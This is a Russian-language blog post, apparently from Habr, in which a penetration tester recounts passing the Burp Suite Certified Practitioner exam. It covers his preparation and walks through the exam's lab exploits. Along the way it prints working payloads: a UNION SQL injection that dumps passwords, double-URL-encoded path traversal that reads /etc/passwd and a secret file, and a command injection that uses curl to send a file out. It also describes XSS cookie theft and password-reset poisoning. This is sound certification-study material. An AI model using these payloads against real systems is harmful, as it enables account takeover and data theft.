BSCP в 2025

Привет Хабр!

Меня зовут Алексей, я являюсь ведущим специалистом по тестированию приложений. В канун нового года мной было решено выполнить усилие над собой в атмосфере наступающих праздников и предпринять попытку сдачи экзамена BSCP (Burp Suite Certified Practitioner), которая завершилась успехом.

В этой статье я хочу рассказать о своем опыте сдачи данной сертификации, о том, как я к ней готовился, какие проблемы встретил и о том как, на мой взгляд, изменился этот экзамен за те несколько лет, что я за ним наблюдаю. В конце дам несколько личных советов для тех, кто планирует сдачу BSCP в будущем.

Готовы? Поехали!

О самой сертификации BSCP

Burp Suite Certified Practitioner

Burp Suite Certified Practitioner

BSCP (Burp Suite Certified Practitioner) — сертификация, поддерживаемая Portswigger Research Team, также известными как авторы Portswigger Academy и разработчики Burp Suite — наиболее популярного инструмента для анализа веб-приложений на текущий момент.

Согласно Security Certification Roadmap, данная сертификация рассчитана на специалистов среднего уровня. Автор ставит данный сертификат наравне с OSWA (что, на мой взгляд, не совсем отражает текущую действительность, но об этом позже).

Положение BSCP среди остальных сертификатов

Положение BSCP среди остальных сертификатов

Действует сертификат 6 лет после его сдачи. Цена на текущий момент составляет 99$, что весьма гуманно в сравнении с аналогичными сертификациями (однако, нужна действующая лицензия Burp Suite Pro — личная, либо предоставляемая местом работы).

Сам экзамен сдается с прокторингом и длится 4 часа, за которые требуется искать уязвимости в 2 приложениях. В каждом из уязвимых приложений требуется выполнить 3 основных шага:

  1. Получить доступ к любому непривилегированному аккаунту

  2. Получить доступ к административному аккаунту

  3. Прочитать содержание файла на системе и сдать в проверяющее окошко

Утверждается, что выполнять действия нужно именно в этой последовательности, чтобы не тратить время впустую. Также стоит отметить, что экзамен является open-book, то есть во время экзамена разрешается использование любых материалов из интернета (в том числе их собственными решениями к лабам), за исключением помощи других людей.

Теперь, когда у вас есть представление о том, что из себя представляет данный экзамен, немного расскажу о том, как проходила моя личная подготовка к нему.

Моя подготовка к экзамену

К моменту сдачи экзамена у меня имелось два сильных преимущества:

  1. Большой опыт в тестировании на проникновение. Я успел поучаствовать во множестве CTF и обрести значительный опыт, работая по данному направлению. Так что, в своем роде, я был слегка overqualified для данной сертификации. Это довольно важный показатель, но я бы не сказал, что он был основным, и в целом для сдачи не является необходимостью.

  2. Я прочитал и решил абсолютно все, что дает portswigger-академия:

100% Portswigger Academy Progress

100% Portswigger Academy Progress

Мой перфекционизм не позволял мне сделать иначе. Заняло это дело у меня порядка 200 часов суммарно. И в связи с тем, что я потратил столько времени, я хотел бы высказать свое мнение относительно полезности этого.

Безусловно, для экзамена нарешивать столько заданий нет необходимости (в экзамен входят только задания уровня Practitioner), да и, объективно, если ваша цель состоит в том, чтобы просто получить сертификат — вам это не нужно — данное время можно потратить с куда большей пользой. Тем не менее, несмотря на мой опыт в пентесте, в материалах, которые там даются, я смог осознать некоторые вещи на более глубоком уровне и залатать пробелы в знаниях, которые у меня были.

Конечно, есть разделы, которые сложно назвать содержательными. Например, секция с Path Traversal представляет собой в сухом остатке »50 способов обойти фильтрацию на стороне сервера». Это может быть полезно начинающим ребятам, в этом нет сомнений, однако каких-то новых концепций там немного. С другой стороны есть раздел Prototype Pollution, который не просто рассказывает о том, как писать эксплоиты, но и погрузит достаточно глубоко в понимание того, как работает javascript в целом. Сюда же можно отнести раздел с HTTP Request Smuggling, погружающий в HTTP2 и HTTP Downgrade. Хоть подобных разделов и не так много, в моем видении их ценность сильно перевешивает все остальное.

Также, академия предлагает решение Mystery Labs и попытку пробного экзамена — мне доставило определенное удовольствие их решать и прочувствовать то, как будет проходить экзамен. Подобные чувства я испытывал при решении лаб по LLM — они реально сделаны круто.

Еще один важный навык, который дает прорешивание всей академии — умение пользоваться Burp Suite. Как бы забавно это ни звучало, в своих материалах ребята дают очень крутые «лайвхаки» пользования их инструментом для каждой конкретной уязвимости. Про некоторые из них я даже не слышал, несмотря на то что бурпом я пользовался уже продолжительное время. Отдельного внимания заслуживают объяснения, как пользоваться наиболее популярными расширениями. Также, есть лабы, которые рассказывают про то, как проводить сканирование отдельных функциональностей и даже отдельных фрагментов данных, что является очень полезным на практике, в особенности при сдаче экзамена в рамках ограниченного времени.

По поводу всего этого я даже сделал мем:

мем

мем

В общем, я никого ни к чему не призываю — решайте сами, нужно вам это или нет. В данном разделе я лишь поделился своими впечатлениями от проведенного в академии времени и я бы сказал, что ни о чем не жалею.

Изменения в экзамене

В связи с тем, что я потратил на подготовку к экзамену много времени, я наблюдал за тем, как он изменяется и могу выделить несколько моментов:

  1. Экзамен становится сложнее. Ежегодно авторы добавляют 5–10 новых задач в свою академию, которые по истечении некоторого времени могут входить в сам экзамен. Это не делает экзамен сложнее как таковым, однако требует понимание бОльшего количества тем, что и создает сложность. Также, общаясь со специалистами, которым довелось сдавать OSWA и BSCP, большинство приходило ко мнению, что сейчас BSCP стал сложнее OSWA даже технически.

  2. Экзамен становится доступнее. Авторы усовершенствовали подход к прокторингу и сейчас экзамен можно сдать на устройстве почти с любой ОС, включая Linux и Mac. Также, я не встретил никаких проблем с геоограничениями помимо оплаты — мой аккаунт был на русской почте, я не использовал VPN — и все прошло хорошо — не было проблем ни при прокторинге, ни при проверке документов. Также, я свободно общался с поддержкой до и после экзамена со своей русской почты.

  3. Прокторинг становится жесче. На данный момент условия подразумевают наблюдение за экраном, звуком и камерой на протяжении всего экзамена. Ранее же была возможность «отключить» прокторинг после этапа проверки документов.

Исходя из моих наблюдений, тенденция к усложнению экзамена будет только продолжаться. Поэтому, если вы планируете его сдавать — чем вы раньше это сделаете, тем вам будет проще)

Мой экзамен

В данном разделе я опишу уязвимости, которые встретились мне при сдаче экзамена, сложности, с которыми я столкнулся, и то, как я из них выходил.

Приложение 1

Получение учетной записи

Первое приложение встретило меня функционалом поиска, аналогично пробному экзамену:

Функционал поиска

Функционал поиска

Здесь сканер смог быстро определить возможность небезопасного встраивания поискового ввода в страницу, что может привести к XSS:

Обнаружение XSS

Обнаружение XSS

Однако, требуется не просто найти уязвимость, но и правильно ее проэксплуатировать. При дальнейшем изучении оказалось, что приложение допускает лишь использование ограниченного количества тегов и событий. По своей сути это является аналогом данной лабы. После перебора, выяснилось, что мне доступны тег body и кастомные теги. Из событий было доступно 5–6 штук, лишь двое из которых могли сработать в теге body без действий пользователя (так как жертва должна быть атакована сразу после перехода по ссылке): oncontentvisibilityautostatechange и onmessage. Далее наступили основные трудности на этом этапе.

Дело в том, что построить эксплоит, имея все эти данные, не составляет никакого труда и у меня получились работающие полезные нагрузки для обоих событий, однако проблема оказалась в том, что они отрабатывают у меня только локально, но при переходе жертвы по моей ссылке ничего не происходило. Я потратил много времени на выяснение причины такого поведения и в реалиях ограниченного времени тут я оставил это приложение на время и пошел смотреть другое. Вернувшись, я решил, что разбираться в этом дальше это трата времени и нужно «заставить» эксплоит отработать у жертвы.

Изучив приложение еще некоторое время, я обнаружил, что оно позволяет обращаться к нему из iframe. Также, событие onmessage срабатывает, когда приложение получает post-message. Соединив всю информацию, я получил эксплоит, подаривший мне сессию обычного пользователя:

Здесь я поднимаю iframe, содержащий XSS-нагрузку, после прогрузки которого я отправляю postMessage, заставляющий эксплоит отработать. Сам же эксплоит отправляет cookie жертвы в теле POST-запроса на подконтрольный мне коллаборатор-сервер.

Как результат мы можем попасть в аккаунт пользователя.

Получение аккаунта администратора

Далее нам становится доступен функционал «расширенного поиска». Закинув его в сканер быстро обнаруживаем SQL-инъекцию в одном из параметров:

Обнаружение SQLi

Обнаружение SQLi

Сам запрос выглядел примерно так:

GET /search_advanced?search_term=zxczxczxc'&sortby=AUTHOR&blog_artist=Ben+Eleven 

Самым сложным моментом далее было понять, что чтобы выполнить инъекцию своего запроса нужно завершить текущий двумя закрывающими скобками, т.е. так:

GET /search_advanced?search_term=a'))--&sortby=&blog_artist=

Далее, я испытал некоторые сложности, пытаясь свести это все к Blind Boolean-Based SQLi, однако в итоге все красиво решилось UNION-based SQLi. Итоговый запрос был такой:

Итоговый эксплоит

Итоговый эксплоит

Сам эксплоит:

GET /search_advanced?search_term=a'))+UNION+SELECT+NULL,'aaaa',username||'~'||password,NULL,NULL,NULL,NULL+FROM+users--&sortby=&blog_artist=

Безусловно, перед этим я определял количество параметров в UNION-нагрузке, какие из них могут вывести строку на страницу, а также определял таблицы и колонки в бд — это стандартный процесс подобного типа уязвимостей, поэтому детально его описывать не буду.

В результате был получен пароль администратора, позволивший получить доступ к его аккаунту.

Чтение файла с системы

В результате предыдущих этапов нам стала доступна панель администратора, картинки в которой подгружались подобным запросом:

GET /administrator/metrics/admin_img?file-name=blog/posts/51.jpg

Тут я даже не стал использовать сканер — было очевидно, что здесь Path Traversal. Однако, сервер пытался заблокировать попытки прочитать локальный файл. При помощи готового списка в Intruder удалось почти моментально найти нагрузку, которая способна читать файлы в обход блокировке (использование Double URL Encoding):

GET /administrator/metrics/admin_img?file-name=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

Чтение локальных файлов

Чтение локальных файлов

Далее, разработчики решили добавить последнюю сложность и блокировали запрос, если в нем содержалось слово secret (имя необходимого файла содержит эту строку в названии). Тем не менее, это также обходилось при помощи Double URL Encoding:

GET /administrator/metrics/admin_img?file-name=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fhome%252fcarlos%252fsecre%2574

Решение первого приложения

Решение первого приложения

Так, мной было решено первое приложение. Из-за сложностей с первой частью я решил его последним, поэтому после этого ушел отдыхать. Однако, тут я еще не описал второе приложение, поэтому продолжим.

Приложение 2

Получение учетной записи

Здесь меня встретило с виду похожее приложение. Однако, XSS тут не было. Из оставшейся функциональности у меня был логин и восстановление пароля. Единственное, что предположил сканер — CSRF, но оно тут не помогло:

Обнаружение CSRF

Обнаружение CSRF

На самом деле, он смог обнаружить уязвимость, которую я использовал дальше, но на этом этапе она была бесполезна. В результате на этом этапе сканер не помог.

В ситуации, когда у меня было 0 предположений, что можно делать дальше, я решил обратиться к табличке, составленной предшественниками, сдававшими BSCP ранее:

Встречаемость уязвимостей на различных этапах экзамена

Встречаемость уязвимостей на различных этапах экзамена

Данная табличка отображает, на каком этапе какие уязвимости могут встретиться в данном экзамене. Перебрав в голове варианты, я сделал выстрел в небо, использовав Host Header Attack в функционале восстановления пароля и это сработало:

Host Header Attack

Host Header Attack

В результате данного действия на стороне сервера сгенерировалась ссылка на восстановление, содержащая имя моего домена. Письмо с данной ссылкой было отправлено жертве, которая сразу по ней перешла:

Получение ссылки на восстановление пароля

Получение ссылки на восстановление пароля

Далее, я почти моментально получил токен для восстановления пароля на свой сервер и смог изменить пароль обычному пользователю, тем самым захватив его аккаунт.

Для меня это был очень спорный момент. Сам экзамен утверждает, что ничего не нужно угадывать, однако обнаружить эту уязвимость можно только ткнув пальцем в небо (так как на текущем этапе у нас нет валидного аккаунта, чтобы проверить правильность работы уязвимости на себе). Тем не менее, первый этап был завершен.

Получение аккаунта администратора

Здесь меня снова встретил тупик, так как после получение аккаунта обычного пользователя, у меня не открылось никакой новой функциональности. Единственное, что стало доступно — стандартные настройки профиля пользователя, позволявшие сменить собственную почту. Сам запрос выглядит так:

Запрос на смену почты

Запрос на смену почты

Потратив некоторое время на попытки определить здесь уязвимость (к слову, сканер тоже ничего не нашел), я решил вспомнить про потенциальную CSRF, которую ранее обнаружил сканер в другом месте. Это был снова выстрел в небо, оказавшийся верным вектором.

Форма позволяла убрать csrf-токен из запроса, при этом выполняя его. Про попытке эксплуатации, обнаружилось, что также есть проверка на Referrer, которая обходилась полным удалением его из запроса (аналог данной лабы). Итоговый эксплоит был следующим:


  
    

Данный эксплоит заставляет жертву сменить свою почту на заданное мной значение. Отдельное внимание стоит обратить, что эксплоит отработал только при указании почты, предоставляемой в эксплоит-сервере приложения — при указании домена коллаборатора дальнейшее письмо мне не приходило.

Данная нагрузка отправляется жертве, после чего мы можем запросить смену пароля администратора (функционал из первой части этого приложения) и письмо с токеном восстановления придет на нашу почту:

Получение токена восстановления аккаунта администратора

Получение токена восстановления аккаунта администратора

Далее, переходим по ссылке, меняем пароль администратора и этап завершен.

Данный этап также был спорным. Согласно условиям экзамена, в приложении должен был быть только один активный пользователь, который переходит по всем ссылкам из почты, которые ему отправляются, а также открывает нагрузки, которые мы ему отправляем. Однако, в действительности оказалось что их два, причем обычный пользователь смотрел почту, а администратор открывал наши нагрузки — все это ввело в заблуждение и результировало в том, что этап был пройден еще одним «выстрелом в небо».

Чтение файла с системы

Далее мы попадаем в панель администратора. Подгрузка изображений происходила там следующим образом:

Подгрузка изображений в панели администратора

Подгрузка изображений в панели администратора

То есть был некоторый параметр dimensions, который определял размер изображения. Если попробовать просканировать данный запрос в чистом виде сканер предположит SQL-инъекцию, так как при добавлении кавычки сервер отдает 500 ошибку. Но это не является верным и SQLi там нет.

Поигравшись немного со значением внутри кавычек, я отправил в сканер именно эту часть параметра (тут и пригодилось знание того, как сканировать отдельные части параметров) — была найдена OS Command Injection, которая и привела меня к победе:

Обнаружение OS Command Injection

Обнаружение OS Command Injection

Далее нужно было лишь составить полезную нагрузку, однако после прохождения пробного экзамена у меня уже была готовая:

"1|curl --data @/home/carlos/secret &"

После ее отправки, я получил строку-решение на мой сервер:

Отправка полезной нагрузки

Отправка полезной нагрузки

Получение ответа к приложению

Получение ответа к приложению

Так было решено мое второе приложение.

Мнение

После завершения экзамена в течение трех дней мне пришел результат проверки экзамена, и я получил свой сертификат:

Внешний вид сертификата

Внешний вид сертификата

Честно говоря, у меня слегка спорные ощущения относительно увиденных уязвимостей по следующим причинам:

  1. Мне приходилось «заставлять» эксплоиты работать, так как несмотря на то что они работали у меня локально, у жертвы они отказывались работать, хотя предполагается что окружение жертвы должно быть аналогично встроенному браузеру в бурп

  2. Мне приходилось «угадывать» некоторые уязвимости

  3. Экзамен имел некоторые расхождения относительно заявленному в описании

Все эти моменты я более подробно описал в разборе самой попытки экзамена, поэтому, если пропустили — можете немного вернуться.

Тем не менее, это трудности, которые могут возникнуть и в жизни, поэтому умение находить из них выход является полезным навыком, который проверяется на этой сертификации.

Оценивая в целом, мне понравилось время, которое я провел в академии и на самом экзамене — свою дозу быстрого дофамина я получил, о чем не жалею.

Советы по подготовке

Окидывая взглядом экзамен и мою подготовку, вот что я могу посоветовать тем, кто планирует сдачу этого экзамена в будущем:

  1. Хотя бы просмотрите названия всех лаб, которые предлагаются в академии. Ничего того, что не было там — вам не встретится, а предоставленные решения можно использовать как готовые эксплоиты. Особенно следует обращать внимание на уровень лабы — если вы поняли вектор, но не можете придумать как составить эксплоит — стоит перебрать техники из лаб уровня Practitioner и осознать, что то, что есть в лабах уровня Expert у вас не будет. Это сэкономит ваше время на пробы чересчур сложных техник и бесполезных попыток.

  2. Пройдите пробный экзамен — он содержит в себе почти все самое неприятное, что вообще может встретиться на экзамене. Испытав эту боль, вы будете готовы, а также у вас будут готовые полезные нагрузки для некоторых этапов, что очень сильно экономит время.

  3. Обращайте внимание на новый функционал, который вам становится доступен после преодоления этапа — уязвимость гарантировано там. В случае с администратором — уязвимость гарантировано в панели администратора (разработчики буквально заявляют об этом в описании экзамена)

  4. Научитесь сканировать отдельные запросы и отдельные фрагменты данных — это является чуть ли необходимым, чтобы успеть сдать экзамен в срок.

  5. Изучите табличку со встречаемостью уязвимостей на различных этапах экзамена (я вставлял ее выше) и обращайтесь к ней в минуты отчаяния.

  6. Верьте в себя и никогда не сдавайтесь.

Благодарю вас за прочтение статьи, всегда стремитесь узнавать что-то новое!

© Habrahabr.ru